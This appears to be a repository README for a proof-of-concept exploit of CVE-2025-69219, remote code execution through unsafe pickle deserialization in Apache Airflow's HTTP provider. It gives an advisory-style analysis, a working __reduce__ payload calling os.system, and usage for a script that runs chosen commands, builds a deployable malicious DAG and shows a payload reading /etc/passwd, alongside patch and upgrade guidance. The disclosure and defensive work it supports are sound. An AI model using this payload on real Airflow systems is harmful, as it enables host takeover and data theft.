sak110/cve-2025-69219Proof-of-concept exploit for CVE-2025-69219, demonstrating remote code execution in Apache Airflow Providers HTTP via unsafe pickle deserialization. Includes PoC scripts, technical analysis, and mitigation guidance.
Severity: High (CVSS 3.1: 8.8)
Vector:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Improper Control of Dynamically-Managed Code Resources
Affected:apache-airflow-providers-http >= 5.1.0, < 6.0.0
Fixed in:apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7
Apache Airflow's HTTP provider used Python's pickle module to serialize and deserialize HTTP trigger responses for deferred tasks. The vulnerable sink in HttpOperator.execute_complete() looked like this:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
The event dictionary is read from the Airflow database, meaning any principal with DB write access can plant a malicious pickle payload. When the Triggerer worker processes the deferred task it blindly deserializes that payload, executing arbitrary OS commands with the permissions of the Triggerer process — equivalent to a DAG Author.
pickle.loads() on untrusted data is an inherently unsafe operation. Pickle's __reduce__ protocol allows any Python callable to be embedded in the serialized blob and invoked during deserialization with no sandboxing.
The Airflow Triggerer serializes the HTTP response at completion time and stores it in the DB:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
A DB-level attacker replaces this value with a crafted pickle blob, e.g.:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
The Triggerer then calls execute_complete → pickle.loads() → RCE.
The patch entirely replaces pickle with a safe, explicit JSON serializer:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
The new deserializer only reconstructs a requests.Response object from known fields (status_code, headers, content, etc.) — no arbitrary code execution is possible.
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
Reproduces the vulnerable pickle.loads() call in-process:
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"
Example output:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"
# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc
Check the task logs for command output.
python poc.py --show-payload --cmd "cat /etc/passwd"
| Factor | Detail |
|---|---|
| Who can exploit | Any user with direct Airflow DB write access |
| Execution context | Triggerer worker process (same permissions as a DAG Author) |
| Likelihood | Low — direct DB access is non-standard in well-configured deployments |
| Blast radius | Full host RCE on the Triggerer node: data exfiltration, lateral movement, persistence |
apache-airflow-providers-http to 6.0.0 or later.deferrable=True) have completed or been cleared, as in-flight tasks serialized with pickle will raise a TypeError after the upgrade (breaking change documented in the provider changelog).pip install "apache-airflow-providers-http>=6.0.0"
| Date | Event |
|---|---|
| 2026-03-09 | CVE published by Apache Software Foundation |
| 2026-03-09 | Fix merged (PR #61662, commit 97839f7) |
| 2026-03-09 | Disclosed on oss-security mailing list |
The PoC in this repository is based on the original work by @ahmetartuc.
This proof-of-concept is published for educational and security research purposes only. Only test against systems you own or have explicit written authorization to test. The authors are not responsible for any misuse.